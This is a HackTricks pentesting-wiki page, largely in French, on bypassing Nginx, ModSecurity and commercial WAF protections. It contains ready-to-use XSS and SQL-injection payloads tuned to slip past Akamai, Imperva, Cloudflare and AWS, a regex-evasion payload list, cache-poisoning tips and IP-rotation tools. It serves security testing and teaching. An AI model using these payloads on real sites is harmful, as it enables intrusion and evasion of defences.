hacktricks/src/pentesting-web/proxy-waf-protections-bypass.md

235 lines
16 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Proxy / WAF Protections Bypass
{{#include ../banners/hacktricks-training.md}}
## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
Techniques [de cette recherche](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Exemple de règle Nginx:
```plaintext
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
```
Pour empêcher les contournements, Nginx effectue une normalisation du chemin avant de le vérifier. Cependant, si le serveur backend effectue une normalisation différente (supprimant des caractères que Nginx ne supprime pas), il peut être possible de contourner cette protection.
### **NodeJS - Express**
| Nginx Version | **Caractères de contournement pour Node.js** |
| ------------- | -------------------------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### **Flask**
| Nginx Version | **Caractères de contournement pour Flask** |
| ------------- | ------------------------------------------------------------------------ |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
### **Spring Boot**
| Nginx Version | **Caractères de contournement pour Spring Boot** |
| ------------- | ------------------------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
Configuration FPM de Nginx:
```plaintext
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx est configuré pour bloquer l'accès à `/admin.php` mais il est possible de contourner cela en accédant à `/admin.php/index.php`.
### Comment prévenir
```plaintext
location ~* ^/admin {
deny all;
}
```
## Contournement des règles ModSecurity <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Confusion de chemin
[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) est expliqué que ModSecurity v3 (until 3.0.12), **implémentait incorrectement la variable `REQUEST_FILENAME`** qui était censée contenir le chemin accédé (jusqu'au début des paramètres). Cela s'explique parce qu'il effectuait un URL decode pour obtenir le chemin.\
Ainsi, une requête comme `http://example.com/foo%3f';alert(1);foo=` dans mod security supposera que le chemin est juste `/foo` parce que `%3f` est transformé en `?` mettant fin au chemin URL, mais en réalité le chemin que le serveur recevra sera `/foo%3f';alert(1);foo=`.
Les variables `REQUEST_BASENAME` et `PATH_INFO` étaient également affectées par ce bug.
Quelque chose de similaire est survenu dans la version 2 de Mod Security qui permettait de contourner une protection empêchant l'accès aux fichiers avec des extensions spécifiques liées aux fichiers de backup (comme `.bak`) simplement en envoyant le point encodé en URL `%2e`, par exemple : `https://example.com/backup%2ebak`.
## Contournement de AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### En-tête malformé
[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) mentionne qu'il était possible de contourner les règles AWS WAF appliquées aux en-têtes HTTP en envoyant un en-tête "malformed" qui n'était pas correctement parsé par AWS mais qui l'était par le serveur backend.
Par exemple, en envoyant la requête suivante avec une SQL injection dans l'en-tête X-Query:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
```
Il était possible de contourner AWS WAF car il ne comprenait pas que la ligne suivante faisait partie de la valeur de l'en-tête alors que le serveur NODEJS le faisait (cela a été corrigé).
## Contournements génériques de WAF
### Limites de taille des requêtes
Généralement, les WAF ont une certaine limite de longueur des requêtes à vérifier et si une requête POST/PUT/PATCH la dépasse, le WAF ne vérifiera pas la requête.
- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Taille maximale d'un corps de requête web pouvant être inspecté pour les protections Application Load Balancer et AWS AppSync</td><td>8 KB</td></tr><tr><td>Taille maximale d'un corps de requête web pouvant être inspecté pour les protections CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access</td><td>64 KB</td></tr></tbody></table>
- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
Les anciens Web Application Firewalls avec Core Rule Set 3.1 (ou inférieur) permettent des messages supérieurs à **128 KB** en désactivant l'inspection du corps de la requête, mais ces messages ne seront pas vérifiés pour des vulnérabilités. Pour les versions plus récentes (Core Rule Set 3.2 ou plus récentes), la même chose peut être faite en désactivant la limite maximale du corps de la requête. Lorsqu'une requête dépasse la limite de taille :
Si en **prevention mode** : Enregistre et bloque la requête.\
Si en **detection mode** : Inspecte jusqu'à la limite, ignore le reste, et enregistre si le `Content-Length` dépasse la limite.
- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
Par défaut, le WAF n'inspecte que les premiers 8KB d'une requête. Il peut augmenter la limite jusqu'à 128KB en ajoutant Advanced Metadata.
- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
Jusqu'à 128KB.
### Lacunes d'inspection des assets statiques (.js GETs)
Certaines piles CDN/WAF appliquent une inspection de contenu faible ou inexistante aux requêtes GET pour les assets statiques (par exemple les chemins se terminant par `.js`), tout en appliquant des règles globales comme le rate limiting et l'IP reputation. Combiné à la mise en cache automatique des extensions statiques, cela peut être abusé pour délivrer ou semer des variantes malveillantes qui affectent les réponses HTML ultérieures.
Cas d'usage pratiques :
- Envoyer des payloads dans des en-têtes non fiables (par ex., `User-Agent`) sur un GET vers un chemin `.js` pour éviter l'inspection de contenu, puis demander immédiatement le HTML principal pour influencer la variante mise en cache.
- Utiliser une IP propre/fraîche ; une fois qu'une IP est signalée, les changements de routage peuvent rendre la technique peu fiable.
- Dans Burp Repeater, utiliser "Send group in parallel" (style single-packet) pour lancer une course entre les deux requêtes (`.js` puis HTML) via le même front-end.
Cela se combine bien avec header-reflection cache poisoning. Voir :
{{#ref}}
cache-deception/README.md
{{#endref}}
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
### Compatibilité Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
Selon l'implémentation de la normalisation Unicode (plus d'infos [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), des caractères partageant la compatibilité Unicode peuvent permettre de contourner le WAF et s'exécuter comme le payload prévu. Les caractères compatibles peuvent être trouvés [here](https://www.compart.com/en/unicode).
#### Exemple <a href="#example" id="example"></a>
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥ --> img src=p onerror='prompt(1)'>
```
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
Comme mentionné dans [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), pour contourner des WAFs capables de maintenir un contexte de la saisie utilisateur, nous pouvons abuser des techniques du WAF pour en fait normaliser la saisie de l'utilisateur.
Par exemple, dans le post il est indiqué que **Akamai URL decoded a user input 10 times**. Ainsi quelque chose comme `<input/%2525252525252525253e/onfocus` sera vu par Akamai comme `<input/>/onfocus` ce qui **pourrait être considéré comme sûr puisque la balise est fermée**. Cependant, tant que l'application ne décodera pas l'URL de la saisie 10 fois, la victime verra quelque chose comme `<input/%25252525252525253e/onfocus` qui est **toujours valide pour une attaque XSS**.
Par conséquent, cela permet de **cacher des payloads dans des composants encodés** que le WAF décodera et interprétera tandis que la victime ne le fera pas.
De plus, cela peut être fait non seulement avec des payloads encodés en URL mais aussi avec d'autres encodages tels que unicode, hex, octal...
Dans le post, les contournements finaux suivants sont suggérés :
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
Il est également mentionné que selon **la manière dont certains WAFs comprennent le contexte** de la saisie utilisateur, il pourrait être possible de l'abuser. L'exemple proposé dans le blog est qu'Akamai allow(ed) de mettre n'importe quoi entre `/*` et `*/` (probablement parce que ceci est couramment utilisé comme commentaire). Par conséquent, une SQLinjection telle que `/*'or sleep(5)-- -*/` ne sera pas détectée et sera valide car `/*` est la chaîne de démarrage de l'injection et `*/` est commentée.
Ce type de problèmes de contexte peut également être utilisé pour **abuser d'autres vulnérabilités que celle attendue** pour être exploitée par le WAF (par ex. cela pourrait aussi être utilisé pour exploiter une XSS).
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
{{#ref}}
h2c-smuggling.md
{{#endref}}
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generate an API gateway URL to by used with ffuf
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar to fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin that uses API gateway IPs
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un nombre d'instances de conteneurs activées est déterminé dynamiquement en fonction de la taille du fichier d'entrée et du facteur de partitionnement, avec l'entrée découpée en chunks pour exécution parallèle — par exemple 100 instances traitant 100 chunks à partir d'un fichier d'entrée de 10 000 lignes avec un facteur de split de 100 lignes.
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
### Regex Bypasses
Différentes techniques peuvent être utilisées pour bypasser les filtres regex sur les firewalls. Les exemples incluent l'alternance de casse, l'ajout de sauts de ligne et l'encodage des payloads. Des ressources sur les différents contournements se trouvent sur [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) et [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Les exemples ci-dessous ont été extraits de [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
## Outils
- [**nowafpls**](https://github.com/assetnote/nowafpls): Plugin Burp pour ajouter des données inutiles aux requêtes afin de contourner les WAFs en jouant sur la longueur
## Références
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
{{#include ../banners/hacktricks-training.md}}